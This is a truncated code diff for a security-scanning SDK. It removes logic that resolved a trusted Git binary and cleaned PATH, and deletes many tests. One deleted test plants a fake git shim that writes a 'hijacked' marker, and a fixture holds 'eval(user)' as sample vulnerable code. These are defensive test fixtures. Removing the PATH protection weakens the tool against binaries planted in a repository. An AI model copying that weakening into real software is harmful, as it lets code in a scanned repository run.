CodexSecurity { protectedRoot, signal, }); - const pluginEnvironment = selectedScanEnvironment( - runtime.environment, - options.auth, - modelProvider, - ); - const git = await resolveTrustedExecutable( - "git", - pluginEnvironment, - protectedRoot, - ); - const sanitizedPath = - git === null - ? await trustedExecutablePath("git", pluginEnvironment, protectedRoot) - : undefined; checkOpen(); const scanOutputRoot = requestedOutput === null && @@ -715,11 +697,13 @@ export class CodexSecurity { python, pluginRoot: runtime.plugin.pluginRoot, environment: { - ...pluginEnvironment, + ...selectedScanEnvironment( + runtime.environment, + options.auth, + modelProvider, + ), CODEX_SECURITY_STATE_DIR: stateDirectory, }, - git, - protectedRoot, signal, failureMessage: "Could not save the Codex Security scan", }; @@ -891,9 +875,13 @@ export class CodexSecurity { const environment = { ...pluginExecutionEnvironment( python, - withoutCodexHome(pluginEnvironment), - git, - sanitizedPath, + withoutCodexHome( + selectedScanEnvironment( + runtime.environment, + options.auth, + modelProvider, + ), + ), ), ...(externalProvider === null ? {} diff --git a/sdk/typescript/src/runtime.ts b/sdk/typescript/src/runtime.ts index 4c5c0f5c..a530f889 100644 --- a/sdk/typescript/src/runtime.ts +++ b/sdk/typescript/src/runtime.ts @@ -46,11 +46,7 @@ import { redactedErrorMessage, } from "./errors.js"; import type { JsonObject } from "./config.js"; -import { - resolveTrustedExecutable, - trustedExecutablePath, -} from "./trusted-executable.js"; -import type { TrustedExecutable } from "./trusted-executable.js"; +import { resolveTrustedExecutable } from "./trusted-executable.js"; const execFile = promisify(execFileCallback); @@ -101,8 +97,6 @@ export interface WorkbenchCommandOptions { python: string; pluginRoot: string; environment: ProcessEnvironment; - git?: TrustedExecutable | null; - protectedRoot?: string; signal?: AbortSignal; failureMessage?: string; } @@ -1242,26 +1236,6 @@ export async function runWorkbench( options: WorkbenchCommandOptions, args: readonly string[], ): Promise { - const git = - options.git === undefined - ? await resolveTrustedExecutable( - "git", - options.environment, - options.protectedRoot ?? process.cwd(), - ) - : options.git; - const environment = pluginExecutionEnvironment( - options.python, - options.environment, - git, - git === null - ? await trustedExecutablePath( - "git", - options.environment, - options.protectedRoot ?? process.cwd(), - ) - : undefined, - ); let stdout: string; try { ({ stdout } = await execFile( @@ -1274,7 +1248,7 @@ export async function runWorkbench( ], { env: Object.fromEntries( - Object.entries(environment).filter( + Object.entries(options.environment).filter( ([name]) => name.toUpperCase() !== "OPENAI_API_KEY" && name.toUpperCase() !== "CODEX_API_KEY" && @@ -2430,22 +2404,8 @@ export async function resolvePluginPython( export function pluginExecutionEnvironment( python: string, environment: ProcessEnvironment = process.env, - git?: TrustedExecutable | null, - sanitizedPath?: string, ): ProcessEnvironment { - const result = { ...environment }; - if (git !== undefined) { - for (const name of Object.keys(result)) { - const normalized = name.toUpperCase(); - if (normalized === "PATH" || normalized.startsWith("GIT_")) { - delete result[name]; - } - } - result["PATH"] = git?.environment["PATH"] ?? sanitizedPath ?? ""; - result["CODEX_SECURITY_GIT"] = git?.executable ?? ""; - } - result["PYTHON"] = python; - return result; + return { ...environment, PYTHON: python }; } export async function cleanupSdkDirectory(path: string): Promise { diff --git a/sdk/typescript/src/trusted-executable.ts b/sdk/typescript/src/trusted-executable.ts index ad684faf..e45b1bd4 100644 --- a/sdk/typescript/src/trusted-executable.ts +++ b/sdk/typescript/src/trusted-executable.ts @@ -1,14 +1,6 @@ import { constants } from "node:fs"; import { access, realpath, stat } from "node:fs/promises"; -import { - delimiter, - dirname, - isAbsolute, - join, - relative, - resolve, - sep, -} from "node:path"; +import { delimiter, isAbsolute, join, relative, resolve, sep } from "node:path"; export interface TrustedExecutable { executable: string; @@ -20,42 +12,9 @@ export async function resolveTrustedExecutable( environment: Readonly>, protectedRoot: string, ): Promise { - const resolved = await inspectTrustedExecutable( - candidate, - environment, - protectedRoot, + const root = await realpath(protectedRoot).catch(() => + resolve(protectedRoot), ); - return resolved.executable === null - ? null - : { executable: resolved.executable, environment: resolved.environment }; -} - -export async function trustedExecutablePath( - candidate: string, - environment: Readonly>, - protectedRoot: string, -): Promise { - return (await inspectTrustedExecutable(candidate, environment, protectedRoot)) - .environment["PATH"]!; -} - -async function inspectTrustedExecutable( - candidate: string, - environment: Readonly>, - protectedRoot: string, -): Promise<{ - executable: string | null; - environment: Record; -}> { - let root = await realpath(protectedRoot).catch(() => resolve(protectedRoot)); - let ancestor = dirname(root); - while (true) { - const marker = await stat(join(ancestor, ".git")).catch(() => null); - if (marker?.isDirectory() || marker?.isFile()) root = ancestor; - const parent = dirname(ancestor); - if (parent === ancestor) break; - ancestor = parent; - } const path = Object.entries(environment).find( ([name]) => name.toUpperCase() === "PATH", )?.[1]; @@ -111,6 +70,8 @@ async function inspectTrustedExecutable( continue; } } + if (executable === null) return null; + const sanitizedEnvironment = { ...environment }; for (const name of Object.keys(sanitizedEnvironment)) { if (name.toUpperCase() === "PATH") delete sanitizedEnvironment[name]; diff --git a/sdk/typescript/tests-ts/api.test.ts b/sdk/typescript/tests-ts/api.test.ts index 5ec658d0..996c6a2b 100644 --- a/sdk/typescript/tests-ts/api.test.ts +++ b/sdk/typescript/tests-ts/api.test.ts @@ -19,14 +19,7 @@ import { tmpdir } from "node:os"; import { basename, join } from "node:path"; import { fileURLToPath, pathToFileURL } from "node:url"; import { Codex, type CodexOptions, type ThreadEvent } from "@openai/codex-sdk"; -import { - afterEach, - describe, - expect, - mock, - setDefaultTimeout, - test, -} from "bun:test"; +import { afterEach, describe, expect, mock, test } from "bun:test"; import { parse as parseToml } from "smol-toml"; import { AuthenticationRequiredError, @@ -70,7 +63,6 @@ type ScanObserverName = Parameters< const REPOSITORY_ROOT = fileURLToPath(new URL("../../..", import.meta.url)); const EXAMPLE = join(PLUGIN_ROOT, "examples", "completed-scan"); const temporaryDirectories: string[] = []; -if (process.platform === "win32") setDefaultTimeout(60_000); const TEST_SNAPSHOT_DIGEST = `codex-security-snapshot/v1:sha256:${"a".repeat(64)}`; const EXTERNAL_PROVIDER_CASES = [ [ @@ -3748,7 +3740,6 @@ describe("CodexSecurity orchestration", () => { const runtime = preparedRuntime(codexHome); return { ...runtime, - environment: { PATH: process.env["PATH"] }, plugin: { ...(runtime["plugin"] as Record), installedRoot: join( @@ -3802,7 +3793,6 @@ describe("CodexSecurity orchestration", () => { CODEX_SECURITY_SCAN_DIR: scanDir, CODEX_SECURITY_PLUGIN_ROOT: PLUGIN_ROOT, CODEX_SECURITY_TARGET_DISPLAY_NAME: basename(repository), - CODEX_SECURITY_GIT: expect.stringMatching(/git(?:\.exe)?$/iu), }); expect(environment).not.toHaveProperty("CODEX_SECURITY_TARGET_PATHS_JSON"); const targetPathsFile = environment?.["CODEX_SECURITY_TARGET_PATHS_FILE"]; diff --git a/sdk/typescript/tests-ts/diff-rank-input.test.ts b/sdk/typescript/tests-ts/diff-rank-input.test.ts index 26ff8993..e05e1969 100644 --- a/sdk/typescript/tests-ts/diff-rank-input.test.ts +++ b/sdk/typescript/tests-ts/diff-rank-input.test.ts @@ -1,4 +1,4 @@ -import { execFileSync, spawnSync } from "node:child_process"; +import { execFileSync } from "node:child_process"; import { mkdir, mkdtemp, @@ -10,7 +10,7 @@ import { writeFile, } from "node:fs/promises"; import { tmpdir } from "node:os"; -import { delimiter, dirname, join } from "node:path"; +import { dirname, join } from "node:path"; import { afterEach, describe, expect, test } from "bun:test"; import { PLUGIN_ROOT } from "./plugin-root.js"; @@ -96,7 +96,6 @@ async function runDiffRankInput( fixture: TestRepository, mode: DiffMode, swap?: PathSwap, - head = "HEAD", ): Promise { const interpreter = Bun.which("python3") ?? Bun.which("python") ?? Bun.which("py"); @@ -119,7 +118,7 @@ async function runDiffRankInput( "--mode", mode, "--head", - head, + "HEAD", "--out", output, ]; @@ -152,10 +151,7 @@ async function runDiffRankInput( ...command, ] : ["-B", script, ...command]; - execFileSync(interpreter, args, { - stdio: "pipe", - env: { ...process.env, CODEX_SECURITY_GIT: Bun.which("git") ?? undefined }, - }); + execFileSync(interpreter, args, { stdio: "pipe" }); const contents = (await readFile(output, "utf8")).trim(); return contents @@ -164,446 +160,21 @@ async function runDiffRankInput( } describe("diff rank input", () => { - test("previews immutable head blobs even when another revision is checked out", async () => { - const fixture = await createRepository(); - await writeRepositoryFile( - fixture.repository, - "src/app.ts", - "export const value = 'reviewed-head';\n", - ); - git(fixture.repository, "add", "src/app.ts"); - git(fixture.repository, "commit", "-qm", "selected review head"); - const selectedHead = git(fixture.repository, "rev-parse", "HEAD"); - await writeRepositoryFile( - fixture.repository, - "src/app.ts", - "export const value = 'different-checkout';\n", - ); - git(fixture.repository, "add", "src/app.ts"); - git(fixture.repository, "commit", "-qm", "different checked out head"); - - const rows = await runDiffRankInput( - fixture, - "revisions", - undefined, - selectedHead, - ); - - expect(rows).toContainEqual({ - path: "src/app.ts", - area: "diff", - preview: "export const value = 'reviewed-head';", - }); - expect(JSON.stringify(rows)).not.toContain("different-checkout"); - }); - - test("resolves trusted system Git for direct plugin launches without an SDK override", async () => { - const fixture = await createRepository(); - const trustedGit = Bun.which("git"); - expect(trustedGit).not.toBeNull(); - const shimDirectory = join(fixture.repository, "node_modules", ".bin"); - const marker = join(fixture.root, "repository-git-ran"); - await mkdir(shimDirectory, { recursive: true }); - await writeFile( - join(shimDirectory, process.platform === "win32" ? "git.cmd" : "git"), - process.platform === "win32" - ? `@echo off\r\n> "${marker}" echo hijacked\r\nexit /b 1\r\n` - : `#!/bin/sh\nprintf hijacked > '${marker}'\nexit 1\n`, - { mode: 0o755 }, - ); - const python = Bun.which("python3") ?? Bun.which("python"); - expect(python).not.toBeNull(); - const environment = { ...process.env }; - delete environment["CODEX_SECURITY_GIT"]; - environment["PATH"] = [shimDirectory, dirname(trustedGit!)].join(delimiter); - const result = spawnSync( - python!, - [ - "-I", - "-B", - "-c", - [ - "from pathlib import Path", - "import sys", - "sys.path.insert(0, sys.argv[1])", - "from workbench_constants import trusted_git_executable", - "print(trusted_git_executable(Path(sys.argv[2])))", - ].join("\n"), - join(PLUGIN_ROOT, "scripts"), - fixture.repository, - ], - { encoding: "utf8", env: environment }, - ); - - expect(result.status, result.stderr).toBe(0); - expect(result.stdout.trim()).toBe(trustedGit!); - await expect(readFile(marker)).rejects.toMatchObject({ code: "ENOENT" }); - - const nested = join(fixture.repository, "vendor", "nested"); - await mkdir(nested, { recursive: true }); - git(nested, "init", "-q"); - const nestedResult = spawnSync( - python!, - [ - "-I", - "-B", - "-c", - [ - "from pathlib import Path", - "import sys", - "sys.path.insert(0, sys.argv[1])", - "from workbench_constants import trusted_git_executable", - "print(trusted_git_executable(Path(sys.argv[2])))", - ].join("\n"), - join(PLUGIN_ROOT, "scripts"), - nested, - ], - { encoding: "utf8", env: environment }, - ); - expect(nestedResult.status, nestedResult.stderr).toBe(0); - expect(nestedResult.stdout.trim()).toBe(trustedGit!); - await expect(readFile(marker)).rejects.toMatchObject({ code: "ENOENT" }); - }); - - test.skipIf(process.platform === "win32")( - "preserves the executable identity of trusted Git wrappers", - async () => { - const fixture = await createRepository(); - const trustedGit = Bun.which("git"); - const python = Bun.which("python3") ?? Bun.which("python"); - expect(trustedGit).not.toBeNull(); - expect(python).not.toBeNull(); - const wrapper = join(fixture.root, "dispatch"); - const executable = join(fixture.root, "git"); - await writeFile( - wrapper, - `#!/bin/sh\ncase "$0" in */git) exec '${trustedGit}' "$@" ;; *) exit 64 ;; esac\n`, - { mode: 0o755 }, - ); - await symlink(wrapper, executable); - - const result = spawnSync( - python!, - [ - "-I", - "-B", - "-c", - [ - "import subprocess, sys", - "from pathlib import Path", - "sys.path.insert(0, sys.argv[1])", - "from workbench_constants import trusted_git_executable", - "git = trusted_git_executable(Path(sys.argv[2]))", - "subprocess.run([git, '--version'], check=True)", - "print(git)", - ].join("\n"), - join(PLUGIN_ROOT, "scripts"), - fixture.repository, - ], - { - encoding: "utf8", - env: { ...process.env, CODEX_SECURITY_GIT: executable }, - }, - ); - - expect(result.status, result.stderr).toBe(0); - expect(result.stdout).toContain("git version "); - expect(result.stdout).toContain(executable); - }, - ); - - test.skipIf(process.platform === "win32")( - "treats metacharacters in immutable Git paths as literal names", - async () => { - const fixture = await createRepository(); - const path = "src/[security]*.ts"; - await writeRepositoryFile( - fixture.repository, - path, - "export const literal = 'immutable';\n", - ); - git(fixture.repository, "add", path); - git(fixture.repository, "commit", "-qm", "add literal Git path"); - - expect(await runDiffRankInput(fixture, "revisions")).toContainEqual({ - path, - area: "diff", - preview: "export const literal = 'immutable';", - }); - }, - ); - - test("includes ignored Git submodule changes and their recorded commits", async () => { - const fixture = await createRepository(); - const revision = fixture.base; - await writeRepositoryFile( - fixture.repository, - ".gitmodules", - '[submodule "security"]\n\tpath = dependencies/security\n\turl = https://example.invalid/security.git\n', - ); - git(fixture.repository, "config", "diff.ignoreSubmodules", "all"); - git(fixture.repository, "add", ".gitmodules"); - git( - fixture.repository, - "update-index", - "--add", - "--cacheinfo", - `160000,${revision},dependencies/security`, - ); - git(fixture.repository, "commit", "-qm", "add pinned security dependency"); - - const rows = await runDiffRankInput(fixture, "revisions"); - - expect(rows).toContainEqual({ - path: "dependencies/security", - area: "diff", - preview: `Git submodule pinned to commit ${revision}`, - }); - expect(rows.map((row) => row.path)).toContain(".gitmodules"); - }); - - test("includes ignored paths that change from regular files into Git submodules", async () => { - const fixture = await createRepository(); - const path = "vendor/dep"; - await writeRepositoryFile( - fixture.repository, - path, - "previous dependency\n", - ); - git(fixture.repository, "add", "--force", path); - git(fixture.repository, "commit", "-qm", "track the previous dependency"); - fixture.base = git(fixture.repository, "rev-parse", "HEAD"); - git(fixture.repository, "rm", "--quiet", path); - git( - fixture.repository, - "update-index", - "--add", - "--cacheinfo", - `160000,${fixture.base},${path}`, - ); - git(fixture.repository, "commit", "-qm", "replace dependency with gitlink"); - - expect(await runDiffRankInput(fixture, "revisions")).toContainEqual({ - path, - area: "diff", - preview: `Git submodule pinned to commit ${fixture.base}`, - }); - }); - - test("includes ignored Git submodules replaced by regular files", async () => { - const fixture = await createRepository(); - const path = "vendor/dep"; - git( - fixture.repository, - "update-index", - "--add", - "--cacheinfo", - `160000,${fixture.base},${path}`, - ); - git(fixture.repository, "commit", "-qm", "add gitlink dependency"); - fixture.base = git(fixture.repository, "rev-parse", "HEAD"); - git(fixture.repository, "rm", "--cached", "--quiet", path); - await writeRepositoryFile( - fixture.repository, - path, - "replacement dependency\n", - ); - git(fixture.repository, "add", "--force", path); - git( - fixture.repository, - "commit", - "-qm", - "replace gitlink with regular file", - ); - - expect(await runDiffRankInput(fixture, "revisions")).toContainEqual({ - path, - area: "diff", - preview: "replacement dependency", - }); - }); - - test("includes staged gitlinks before their working trees are checked out", async () => { - const fixture = await createRepository(); - const path = "vendor/index-only-dependency"; - git( - fixture.repository, - "update-index", - "--add", - "--cacheinfo", - `160000,${fixture.base},${path}`, - ); - - expect(await runDiffRankInput(fixture, "local-patch")).toContainEqual({ - path, - area: "diff", - preview: `Git submodule pinned to commit ${fixture.base}`, - }); - }); - - test("includes staged deletions of ignored Git submodules", async () => { - const fixture = await createRepository(); - const path = "vendor/dep"; - git( - fixture.repository, - "update-index", - "--add", - "--cacheinfo", - `160000,${fixture.base},${path}`, - ); - git(fixture.repository, "commit", "-qm", "add gitlink dependency"); - fixture.base = git(fixture.repository, "rev-parse", "HEAD"); - git(fixture.repository, "rm", "--cached", "--quiet", path); - - expect(await runDiffRankInput(fixture, "local-patch")).toContainEqual({ - path, - area: "diff", - preview: "", - }); - }); - - test("inventories replacements after a staged Git submodule deletion", async () => { - const fixture = await createRepository(); - const path = ".github/actions/local"; - git( - fixture.repository, - "update-index", - "--add", - "--cacheinfo", - `160000,${fixture.base},${path}`, - ); - git(fixture.repository, "commit", "-qm", "add local action gitlink"); - fixture.base = git(fixture.repository, "rev-parse", "HEAD"); - git(fixture.repository, "rm", "--cached", "--quiet", path); - await writeRepositoryFile( - fixture.repository, - `${path}/action.yml`, - "name: replacement\nruns:\n using: composite\n", - ); - - expect(await runDiffRankInput(fixture, "local-patch")).toEqual([ - { path, area: "diff", preview: "" }, - { - path: `${path}/action.yml`, - area: "diff", - preview: "key name\nkey runs", - }, - ]); - }); - - test("expands untracked embedded repositories into reviewable files", async () => { - const fixture = await createRepository(); - const nested = join(fixture.repository, ".github", "actions", "local"); - await mkdir(nested, { recursive: true }); - git(nested, "init", "-q"); - git(nested, "config", "user.name", "Codex Security Test"); - git(nested, "config", "user.email", "codex-security@example.invalid"); - await writeRepositoryFile(nested, "action.yml", "name: local action\n"); - await writeRepositoryFile(nested, ".gitignore", "ignored.ts\n"); - await writeRepositoryFile( - nested, - "ignored.ts", - "export const unbound = 'must not be reviewed';\n", - ); - git(nested, "add", "action.yml", ".gitignore"); - git(nested, "commit", "-qm", "add local action"); - - const rows = await runDiffRankInput(fixture, "local-patch"); - expect(rows).toContainEqual({ - path: ".github/actions/local/action.yml", - area: "diff", - preview: "key name", - }); - expect(rows.map(({ path }) => path)).not.toContain( - ".github/actions/local/ignored.ts", - ); - }); - - test("includes ignored Git submodules staged as regular files", async () => { - const fixture = await createRepository(); - const path = "vendor/dep"; - git( - fixture.repository, - "update-index", - "--add", - "--cacheinfo", - `160000,${fixture.base},${path}`, - ); - git(fixture.repository, "commit", "-qm", "add gitlink dependency"); - fixture.base = git(fixture.repository, "rev-parse", "HEAD"); - git(fixture.repository, "rm", "--cached", "--quiet", path); - await writeRepositoryFile( - fixture.repository, - path, - "replacement dependency\n", - ); - git(fixture.repository, "add", "--force", path); - - expect(await runDiffRankInput(fixture, "local-patch")).toContainEqual({ - path, - area: "diff", - preview: "replacement dependency", - }); - await rm(join(fixture.repository, path)); - expect(await runDiffRankInput(fixture, "local-patch")).toContainEqual({ - path, - area: "diff", - preview: "replacement dependency", - }); - }); - - test("previews local dirty Git submodules from their pinned index commit", async () => { - const fixture = await createRepository(); - const submodule = join(fixture.repository, ".github", "actions", "sub"); - await mkdir(submodule, { recursive: true }); - git(submodule, "init", "-q", "-b", "main"); - git(submodule, "config", "user.name", "Codex Security Test"); - git(submodule, "config", "user.email", "codex-security@example.invalid"); - await writeRepositoryFile(submodule, "action.yml", "name: original\n"); - git(submodule, "add", "."); - git(submodule, "commit", "-qm", "original action"); - const revision = git(submodule, "rev-parse", "HEAD"); - git( - fixture.repository, - "update-index", - "--add", - "--cacheinfo", - `160000,${revision},.github/actions/sub`, - ); - git(fixture.repository, "commit", "-qm", "pin workflow action"); - fixture.base = git(fixture.repository, "rev-parse", "HEAD"); - git(fixture.repository, "config", "diff.ignoreSubmodules", "all"); - await writeRepositoryFile(submodule, "action.yml", "name: dirty\n"); - - expect(await runDiffRankInput(fixture, "local-patch")).toContainEqual({ - path: ".github/actions/sub", - area: "diff", - preview: `Git submodule pinned to commit ${revision}`, - }); - }); - test("inventories committed security-sensitive workflows, containers, and agent instructions", async () => { const fixture = await createRepository(); const files: Record = { ".circleci/config.yml": "version: 2.1\njobs: {}\n", - ".devcontainer/devcontainer.json": '{"postCreateCommand":"./setup.sh"}\n', - ".devcontainer/setup.sh": "#!/bin/sh\necho configuring\n", + ".devcontainer/devcontainer.json": + '{"postCreateCommand":"npm run setup"}\n', ".dockerignore": "node_modules\nvendor\n", - ".github/actions/build/action.yml": "runs:\n using: composite\n", - ".github/actions/vendor/checkout/action.yml": - "runs:\n using: composite\n", ".github/actions/security/action.yml": "runs:\n using: composite\n", ".github/actions/security/index.js": "export const secure = true;\n", ".github/actions/security/script.py": "print('review action')\n", - ".github/actions/test/action.yml": "runs:\n using: composite\n", ".github/CODEOWNERS": "* @security-reviewers\n", ".github/copilot-instructions.md": "Review changes before running code.\n", ".github/dependabot.yml": "version: 2\nupdates: []\n", - ".github/instructions/security.instructions.md": - "Review every authentication boundary.\n", ".github/ISSUE_TEMPLATE/bug.yml": "name: Bug report\n", - ".github/scripts/ci/check.py": "print('review CI helper')\n", ".github/scripts/security.py": "print('review first-party changes')\n", ".github/workflows/security.yml": "name: Security\non: pull_request\n", ".github/workflows/scripts/check.py": "print('check workflow')\n", @@ -611,17 +182,17 @@ describe("diff rank input", () => { "AGENTS.md": "Require authorization before exposing credentials.\n", "CLAUDE.md": "Keep repository credentials private.\n", CODEOWNERS: "* @repository-owners\n", + "SECURITY.md": "Do not suppress authentication or credential findings.\n", Containerfile: "FROM scratch\n", Dockerfile: "FROM node:24-alpine\n", Jenkinsfile: "pipeline { agent any }\n", - "build/Dockerfile": "FROM node:24-alpine\n", "compose.yaml": "services:\n app:\n image: app\n", "config/nginx.conf": "server { listen 443 ssl; }\n", "docker-compose.yml": "services:\n app:\n image: app\n", - "docs/CODEOWNERS": "* @documentation-owners\n", "docs/example.py": "print('documentation example')\n", "docs/AGENTS.md": "Example instructions, not executable repository scope.\n", + "docs/CODEOWNERS": "* @documentation-owners\n", "infra/main.tf": 'resource "example" "service" {}\n', "infra/variables.hcl": 'environment = "production"\n', "node_modules/AGENTS.md": "External dependency instructions.\n", @@ -647,7 +218,6 @@ describe("diff rank input", () => { fixture.repository, "add", "-f", - ".github/actions/vendor/checkout/action.yml", "node_modules/AGENTS.md", "node_modules/dependency.py", "vendor/Dockerfile", @@ -661,19 +231,13 @@ describe("diff rank input", () => { [ ".circleci/config.yml", ".devcontainer/devcontainer.json", - ".devcontainer/setup.sh", ".dockerignore", - ".github/actions/build/action.yml", ".github/actions/security/action.yml", ".github/actions/security/index.js", ".github/actions/security/script.py", - ".github/actions/test/action.yml", - ".github/actions/vendor/checkout/action.yml", ".github/CODEOWNERS", ".github/copilot-instructions.md", ".github/dependabot.yml", - ".github/instructions/security.instructions.md", - ".github/scripts/ci/check.py", ".github/scripts/security.py", ".github/workflows/security.yml", ".github/workflows/scripts/check.py", @@ -681,10 +245,10 @@ describe("diff rank input", () => { "AGENTS.md", "CLAUDE.md", "CODEOWNERS", + "SECURITY.md", "Containerfile", "Dockerfile", "Jenkinsfile", - "build/Dockerfile", "compose.yaml", "config/nginx.conf", "docker-compose.yml", @@ -754,345 +318,14 @@ describe("diff rank input", () => { expect(rows.every((row) => row.preview.length > 0)).toBe(true); }); - test("reads staged-only additions from their immutable Git index blobs", async () => { - const fixture = await createRepository(); - const path = "src/staged-only.ts"; - await writeRepositoryFile( - fixture.repository, - path, - "export const staged = 'review this exact blob';\n", - ); - git(fixture.repository, "add", path); - await rm(join(fixture.repository, path)); - - expect(await runDiffRankInput(fixture, "local-patch")).toContainEqual({ - path, - area: "diff", - preview: "export const staged = 'review this exact blob';", - }); - }); - - test("reviews both staged and restored working-tree versions of modified files", async () => { - const fixture = await createRepository(); - const path = "src/app.ts"; - await writeRepositoryFile( - fixture.repository, - path, - "export const dangerous = 'staged vulnerable content';\n", - ); - git(fixture.repository, "add", path); - await writeRepositoryFile( - fixture.repository, - path, - "export const value = 1;\n", - ); - - expect(await runDiffRankInput(fixture, "local-patch")).toContainEqual({ - path, - area: "diff", - preview: - "Staged Git index:\nexport const dangerous = 'staged vulnerable content';\nWorking tree:\nexport const value = 1;", - }); - }); - - test("distinguishes staged blobs even when both structural previews match", async () => { - const fixture = await createRepository(); - const path = "src/handler.py"; - await writeRepositoryFile( - fixture.repository, - path, - "def handler(user):\n return eval(user)\n", - ); - git(fixture.repository, "add", path); - await writeRepositoryFile( - fixture.repository, - path, - "def handler(user):\n return user\n", - ); - - const row = (await runDiffRankInput(fixture, "local-patch")).find( - (candidate) => candidate.path === path, - ); - - expect(row?.preview).toContain("Staged Git index:"); - expect(row?.preview).toContain("Working tree:"); - expect( - await readFile( - join(PLUGIN_ROOT, "skills", "security-diff-scan", "SKILL.md"), - "utf8", - ), - ).toContain("read every staged Git index blob in full"); - }); - - test("reviews every available stage of an unresolved Git merge conflict", async () => { - const fixture = await createRepository(); - const path = "src/app.ts"; - git(fixture.repository, "branch", "conflicting"); - await writeRepositoryFile( - fixture.repository, - path, - "export const ours = 'review our side';\n", - ); - git(fixture.repository, "add", path); - git(fixture.repository, "commit", "-qm", "ours"); - git(fixture.repository, "checkout", "-q", "conflicting"); - await writeRepositoryFile( - fixture.repository, - path, - "export const theirs = 'review their side';\n", - ); - git(fixture.repository, "add", path); - git(fixture.repository, "commit", "-qm", "theirs"); - git(fixture.repository, "checkout", "-q", "main"); - expect( - spawnSync("git", ["merge", "--no-edit", "conflicting"], { - cwd: fixture.repository, - encoding: "utf8", - }).status, - ).toBe(1); - - const row = (await runDiffRankInput(fixture, "local-patch")).find( - (candidate) => candidate.path === path, - ); - - expect(row?.preview).toContain("Merge base (stage 1):"); - expect(row?.preview).toContain("Ours (stage 2):"); - expect(row?.preview).toContain("Theirs (stage 3):"); - expect(row?.preview).toContain("Working tree:"); - }); - - test("reviews immutable symlink targets across all unresolved merge stages", async () => { - const fixture = await createRepository(); - const path = "src/app.ts"; - const hashes = ["base-target.ts", "ours-target.ts", "theirs-target.ts"].map( - (target) => { - const hashed = spawnSync("git", ["hash-object", "-w", "--stdin"], { - cwd: fixture.repository, - encoding: "utf8", - input: target, - }); - expect(hashed.status, hashed.stderr).toBe(0); - return hashed.stdout.trim(); - }, - ); - const index = [ - `0 ${"0".repeat(40)}\t${path}`, - ...hashes.map((hash, index) => `120000 ${hash} ${index + 1}\t${path}`), - ].join("\n"); - const updated = spawnSync("git", ["update-index", "--index-info"], { - cwd: fixture.repository, - encoding: "utf8", - input: `${index}\n`, - }); - expect(updated.status, updated.stderr).toBe(0); - - const row = (await runDiffRankInput(fixture, "local-patch")).find( - (candidate) => candidate.path === path, - ); - - expect(row?.preview).toContain("Merge base (stage 1):"); - expect(row?.preview).toContain("Symlink target: base-target.ts"); - expect(row?.preview).toContain("Symlink target: ours-target.ts"); - expect(row?.preview).toContain("Symlink target: theirs-target.ts"); - }); - - test("preserves pinned submodule revisions across unresolved merge stages", async () => { - const fixture = await createRepository(); - const path = ".github/actions/security"; - const index = [ - `0 ${"0".repeat(40)}\t${path}`, - ...[1, 2, 3].map((stage) => `160000 ${fixture.base} ${stage}\t${path}`), - ].join("\n"); - const updated = spawnSync("git", ["update-index", "--index-info"], { - cwd: fixture.repository, - encoding: "utf8", - input: `${index}\n`, - }); - expect(updated.status, updated.stderr).toBe(0); - await mkdir(join(fixture.repository, path), { recursive: true }); - - const row = (await runDiffRankInput(fixture, "local-patch")).find( - (candidate) => candidate.path === path, - ); - - expect(row?.preview).toContain("Merge base (stage 1):"); - expect(row?.preview).toContain("Ours (stage 2):"); - expect(row?.preview).toContain("Theirs (stage 3):"); - expect(row?.preview).toContain( - `Git submodule pinned to commit ${fixture.base}`, - ); - }); - - test("snapshots initialized Git submodules with conflicting pinned revisions", async () => { - const fixture = await createRepository(); - const path = ".github/actions/security"; - const submodule = join(fixture.repository, path); - await mkdir(submodule, { recursive: true }); - git(submodule, "init", "-q", "-b", "main"); - git(submodule, "config", "user.name", "Codex Security Test"); - git(submodule, "config", "user.email", "codex-security@example.invalid"); - await writeRepositoryFile(submodule, "action.yml", "runs: node20\n"); - git(submodule, "add", "."); - git(submodule, "commit", "-qm", "first pin"); - const first = git(submodule, "rev-parse", "HEAD"); - await writeRepositoryFile(submodule, "action.yml", "runs: node24\n"); - git(submodule, "commit", "-qam", "second pin"); - const second = git(submodule, "rev-parse", "HEAD"); - const index = [ - `0 ${"0".repeat(40)}\t${path}`, - `160000 ${first} 1\t${path}`, - `160000 ${second} 2\t${path}`, - `160000 ${first} 3\t${path}`, - ].join("\n"); - const updated = spawnSync("git", ["update-index", "--index-info"], { - cwd: fixture.repository, - encoding: "utf8", - input: `${index}\n`, - }); - expect(updated.status, updated.stderr).toBe(0); - const python = Bun.which("python3") ?? Bun.which("python"); - expect(python).not.toBeNull(); - - const digest = execFileSync( - python!, - [ - "-I", - "-B", - "-c", - "import sys; from pathlib import Path; sys.path.insert(0, sys.argv[1]); from workbench_target import worktree_content_digest; print(worktree_content_digest(Path(sys.argv[2])))", - join(PLUGIN_ROOT, "scripts"), - fixture.repository, - ], - { encoding: "utf8" }, - ).trim(); - - expect(digest).toMatch( - /^codex-security-snapshot\/v1:sha256:[a-f0-9]{64}$/u, - ); - }); - - test("reviews conflicted submodule stages under excluded dependency directories", async () => { - const fixture = await createRepository(); - const path = "vendor/dependency"; - const index = [ - `0 ${"0".repeat(40)}\t${path}`, - ...[2, 3].map((stage) => `160000 ${fixture.base} ${stage}\t${path}`), - ].join("\n"); - const updated = spawnSync("git", ["update-index", "--index-info"], { - cwd: fixture.repository, - encoding: "utf8", - input: `${index}\n`, - }); - expect(updated.status, updated.stderr).toBe(0); - - const row = (await runDiffRankInput(fixture, "local-patch")).find( - (candidate) => candidate.path === path, - ); - - expect(row?.preview).toContain("Ours (stage 2):"); - expect(row?.preview).toContain("Theirs (stage 3):"); - expect(row?.preview).toContain( - `Git submodule pinned to commit ${fixture.base}`, - ); - }); - - test("retains reviewable staged text when the working-tree version is binary", async () => { + test("inventories untracked security workflows without including ignored files", async () => { const fixture = await createRepository(); - const path = "src/app.ts"; - await writeRepositoryFile( - fixture.repository, - path, - "export const staged = 'review the staged version';\n", - ); - git(fixture.repository, "add", path); - await writeRepositoryFile( - fixture.repository, - path, - new Uint8Array([0, 255, 0, 255]), - ); - - expect(await runDiffRankInput(fixture, "local-patch")).toContainEqual({ - path, - area: "diff", - preview: - "Staged Git index (working tree is binary):\nexport const staged = 'review the staged version';", - }); - }); - - test("retains reviewable working-tree text when the staged version is binary", async () => { - const fixture = await createRepository(); - const path = "src/app.ts"; - await writeRepositoryFile( - fixture.repository, - path, - new Uint8Array([0, 255, 0, 255]), - ); - git(fixture.repository, "add", path); - await writeRepositoryFile( - fixture.repository, - path, - "export const working = 'review the working tree';\n", - ); - expect(await runDiffRankInput(fixture, "local-patch")).toContainEqual({ - path, - area: "diff", - preview: - "Working tree (staged Git index is binary):\nexport const working 